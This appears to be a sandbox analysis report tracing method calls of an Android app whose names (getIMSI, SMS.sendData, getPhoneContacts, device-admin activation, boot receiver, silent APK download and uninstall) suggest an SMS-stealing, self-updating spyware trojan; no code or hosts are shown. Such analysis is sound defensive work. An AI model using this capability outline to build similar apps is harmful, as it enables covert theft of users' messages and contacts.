Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.SMS.sendData:39 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:99 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.example.adt.CoreService.onCreate:99 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.example.adt.App.autoChangeApps:118 | Show source |
---|
Method: com.example.adt.CoreService$BtnClick$1.run:13 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:118 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:123 | Show source |
---|
Method: com.example.adt.DownLoad.openFile:29 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:45 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:196 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:143 | Show source |
---|
Method: ..:5 | Show source |
---|
Method: com.example.adt.MainActivity.onCreate:12 | Show source |
---|
Method: ..:11 | Show source |
---|
Method: com.example.adt.MainActivity.onCreate:18 | Show source |
---|
Name | Type | Value |
---|---|---|
name | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.admin.DevicePolicyManager |
|
Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
name | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.example.adt.MainActivity.activeManager:19 | Show source |
---|
Name | Type | Value |
---|---|---|
intent | android.content.Intent |
|
Method: com.example.adt.MainActivity.onCreate:44 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.example.adt.SMS$1$2.run:4 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:47 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:4 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:47 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:24 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:25 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:31 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:45 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:53 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:27 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:27 | Show source |
---|
Method: ..:18 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:27 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:56 | Show source |
---|
Method: ..:18 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:26 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:69 | Show source |
---|
Method: ..:25 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:37 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:89 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:43 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:100 | Show source |
---|
Method: com.example.adt.Config.getFileSizes:9 | Show source |
---|
Method: ..:20 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:29 | Show source |
---|
Method: ..:31 | Show source |
---|
Method: ..:45 | Show source |
---|
Method: ..:55 | Show source |
---|
Method: ..:63 | Show source |
---|
Method: ..:71 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:49 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:57 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:61 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:107 | Show source |
---|
Method: com.example.adt.HttpDownloader.getInputStreamFromURL:26 | Show source |
---|
Method: ..:51 | Show source |
---|
Method: ..:59 | Show source |
---|
Method: ..:63 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:71 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:21 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:23 | Show source |
---|
Method: ..:26 | Show source |
---|
Method: ..:41 | Show source |
---|
Method: ..:51 | Show source |
---|
Method: ..:59 | Show source |
---|
Method: ..:66 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:39 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:91 | Show source |
---|
Method: com.example.adt.DownLoad.downloadFile:31 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:95 | Show source |
---|
Method: ..:29 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:78 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:103 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:21 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:119 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:215 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:234 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:253 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:314 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:76 | Show source |
---|
Method: com.example.adt.App.changeApk:16 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:92 | Show source |
---|
Method: com.example.adt.LockReceiver.onReceive:10 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:67 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:76 | Show source |
---|
Method: com.example.adt.LockReceiver.onEnabled:8 | Show source |
---|
Method: com.example.adt.Config.getFileSizes:28 | Show source |
---|
Method: com.example.adt.CoreService.onCreate:65 | Show source |
---|
Method: com.example.adt.CoreService$MyRunnable.run:26 | Show source |
---|
Method: com.example.adt.Contact$1.run:92 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:53 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:107 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:134 | Show source |
---|
Method: com.example.adt.App$1.run:95 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:17 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:75 | Show source |
---|
Method: com.example.adt.SMS$2.run:47 | Show source |
---|
Method: com.example.adt.Config.getAPNType:40 | Show source |
---|
Method: com.example.adt.LockReceiver.onDisabled:8 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:16 | Show source |
---|
Method: com.example.adt.MainActivity.onCreate:50 | Show source |
---|
Method: com.example.adt.CoreService.<init>:5 | Show source |
---|
Method: com.example.adt.CoreService.<init>:9 | Show source |
---|
Method: ..:49 | Show source |
---|
Method: com.example.adt.HttpDownloader.download:43 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:138 | Show source |
---|
Method: ..:45 | Show source |
---|
Method: com.example.adt.Connect.postHttpConnection:75 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:84 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:89 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:39 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:160 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:357 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:375 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:158 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:178 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:192 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:52 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:81 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:83 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:86 | Show source |
---|
Method: com.example.adt.CoreService.<init>:45 | Show source |
---|
Method: com.example.adt.CoreService.<init>:52 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:27 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:36 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:148 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:157 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:354 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:372 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: com.example.adt.SMS$2.run:85 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:341 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: com.example.adt.Connect.<init>:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:5 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:3 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:3 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:3 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:4 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:60 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:95 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:10 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:12 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:32 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:111 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:205 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:279 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:304 | Show source |
---|
Method: ..:14 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:25 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:68 | Show source |
---|
Method: com.example.adt.App.changeApk:8 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:15 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:84 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:50 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:58 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:25 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:68 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:7 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:42 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: com.example.adt.Config.<clinit>:19 | Show source |
---|
Method: com.example.adt.Config.<clinit>:36 | Show source |
---|
Method: com.example.adt.CoreService$MyRunnable.run:18 | Show source |
---|
Method: com.example.adt.Contact$1.run:29 | Show source |
---|
Method: com.example.adt.Contact$1.run:84 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:42 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:70 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:96 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:13 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:43 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: com.example.adt.App$1.run:15 | Show source |
---|
Method: com.example.adt.App$1.run:87 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:9 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:37 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:66 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:111 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:20 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:67 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: com.example.adt.SMS$2.run:20 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:68 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:88 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:135 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:184 | Show source |
---|
Method: com.example.adt.App.getApps:67 | Show source |
---|
Method: com.example.adt.App.getApps:122 | Show source |
---|
Method: com.example.adt.App.getApps:153 | Show source |
---|
Method: ..:13 | Show source |
---|
Method: com.example.adt.Config.getAPNType:29 | Show source |
---|
Method: com.example.adt.App.hasApp:41 | Show source |
---|
Method: com.example.adt.Config.configPath:12 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:8 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:21 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:15 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:64 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:69 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:72 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:97 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:15 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:36 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:41 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:48 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:53 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:60 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:65 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:68 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:113 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:209 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:286 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:308 | Show source |
---|
Method: ..:16 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:29 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:34 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:37 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:42 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:52 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:57 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:70 | Show source |
---|
Method: com.example.adt.App.changeApk:10 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:19 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:24 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:31 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:36 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:43 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:48 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:55 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:60 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:67 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:86 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:52 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:57 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:62 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:65 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:70 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:73 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:29 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:34 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:37 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:42 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:52 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:57 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:70 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:12 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:17 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:49 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:54 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:61 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:66 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: com.example.adt.Config.<clinit>:23 | Show source |
---|
Method: com.example.adt.Config.<clinit>:40 | Show source |
---|
Method: com.example.adt.CoreService$MyRunnable.run:20 | Show source |
---|
Method: com.example.adt.Contact$1.run:33 | Show source |
---|
Method: com.example.adt.Contact$1.run:38 | Show source |
---|
Method: com.example.adt.Contact$1.run:41 | Show source |
---|
Method: com.example.adt.Contact$1.run:46 | Show source |
---|
Method: com.example.adt.Contact$1.run:59 | Show source |
---|
Method: com.example.adt.Contact$1.run:64 | Show source |
---|
Method: com.example.adt.Contact$1.run:67 | Show source |
---|
Method: com.example.adt.Contact$1.run:86 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:47 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:74 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:101 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:17 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:47 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:50 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: com.example.adt.App$1.run:19 | Show source |
---|
Method: com.example.adt.App$1.run:24 | Show source |
---|
Method: com.example.adt.App$1.run:38 | Show source |
---|
Method: com.example.adt.App$1.run:43 | Show source |
---|
Method: com.example.adt.App$1.run:57 | Show source |
---|
Method: com.example.adt.App$1.run:62 | Show source |
---|
Method: com.example.adt.App$1.run:76 | Show source |
---|
Method: com.example.adt.App$1.run:89 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:11 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:39 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:70 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:115 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:24 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:29 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:36 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:41 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:44 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:49 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:56 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:69 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: com.example.adt.SMS$2.run:30 | Show source |
---|
Method: com.example.adt.SMS$2.run:35 | Show source |
---|
Method: com.example.adt.SMS$2.run:41 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:188 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:193 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:200 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:205 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:212 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:217 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:223 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:228 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:234 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:239 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:246 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:251 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:258 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:263 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:270 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:275 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:282 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:287 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:294 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:299 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:306 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:311 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:318 | Show source |
---|
Method: com.example.adt.App.getApps:74 | Show source |
---|
Method: com.example.adt.App.getApps:79 | Show source |
---|
Method: com.example.adt.App.getApps:86 | Show source |
---|
Method: com.example.adt.App.getApps:91 | Show source |
---|
Method: com.example.adt.App.getApps:126 | Show source |
---|
Method: com.example.adt.App.getApps:132 | Show source |
---|
Method: com.example.adt.App.getApps:157 | Show source |
---|
Method: com.example.adt.App.getApps:163 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: com.example.adt.Config.getAPNType:34 | Show source |
---|
Method: com.example.adt.App.hasApp:48 | Show source |
---|
Method: com.example.adt.App.hasApp:53 | Show source |
---|
Method: com.example.adt.App.hasApp:60 | Show source |
---|
Method: com.example.adt.App.hasApp:65 | Show source |
---|
Method: com.example.adt.Config.configPath:16 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:10 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:26 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:19 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:24 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:34 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:81 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:113 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:146 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:75 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:100 | Show source |
---|
Method: com.example.adt.SMSReceiver.onReceive:18 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:14 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:71 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:116 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:212 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:289 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:311 | Show source |
---|
Method: ..:19 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:60 | Show source |
---|
Method: com.example.adt.SMS$1$2.run:73 | Show source |
---|
Method: com.example.adt.App.changeApk:13 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:70 | Show source |
---|
Method: com.example.adt.SMSReceiver$1.run:89 | Show source |
---|
Method: com.example.adt.Connect.getHttpConnection:60 | Show source |
---|
Method: com.example.adt.Contact.getPhoneContacts:76 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:60 | Show source |
---|
Method: com.example.adt.SMS$1$1.run:73 | Show source |
---|
Method: com.example.adt.FileUtils.<init>:20 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:69 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: com.example.adt.Config.<clinit>:26 | Show source |
---|
Method: com.example.adt.Config.<clinit>:43 | Show source |
---|
Method: com.example.adt.CoreService$MyRunnable.run:23 | Show source |
---|
Method: com.example.adt.Contact$1.run:70 | Show source |
---|
Method: com.example.adt.Contact$1.run:89 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:50 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:77 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:104 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:20 | Show source |
---|
Method: com.example.adt.DownLoad.downLoadFile:53 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: com.example.adt.App$1.run:79 | Show source |
---|
Method: com.example.adt.App$1.run:92 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:14 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:42 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:73 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:118 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:59 | Show source |
---|
Method: com.example.adt.PhoneListener$1.run:72 | Show source |
---|
Method: ..:20 | Show source |
---|
Method: com.example.adt.SMS$2.run:44 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:70 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:90 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:137 | Show source |
---|
Method: com.example.adt.CoreService$HTRunnable.run:321 | Show source |
---|
Method: com.example.adt.App.getApps:94 | Show source |
---|
Method: com.example.adt.App.getApps:135 | Show source |
---|
Method: com.example.adt.App.getApps:166 | Show source |
---|
Method: ..:18 | Show source |
---|
Method: com.example.adt.Config.getAPNType:37 | Show source |
---|
Method: com.example.adt.App.hasApp:68 | Show source |
---|
Method: com.example.adt.Config.configPath:19 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:13 | Show source |
---|
Method: com.example.adt.CoreService.uninstallAPK:29 | Show source |
---|
Method: com.example.adt.SMS$2$1.run:37 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:10 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:33 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:188 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:200 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:218 | Show source |
---|
Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:228 | Show source |
---|
Method: com.example.adt.PhoneListener.onReceive:16 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:91 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:123 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:149 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:169 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:196 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:226 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:245 | Show source |
---|
Method: com.example.adt.CoreService$MyOrderRunnable.run:272 | Show source |
---|
Method: com.example.adt.App.changeApk:20 | Show source |
---|
Method: com.example.adt.App.autoChangeApps:87 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:9 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:18 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:35 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:60 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:80 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:114 | Show source |
---|
Method: com.example.adt.BootBroadcastReceiver.onReceive:122 | Show source |
---|
Method: com.example.adt.Config.getSDPath:8 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:22 | Show source |
---|
Method: com.example.adt.CoreService.autoChangeApk:129 | Show source |
---|
Method: com.example.adt.App.getApps:24 | Show source |
---|
Method: com.example.adt.App.getApps:38 | Show source |
---|
Method: com.example.adt.App.getApps:112 | Show source |
---|
Method: com.example.adt.App.getApps:143 | Show source |
---|
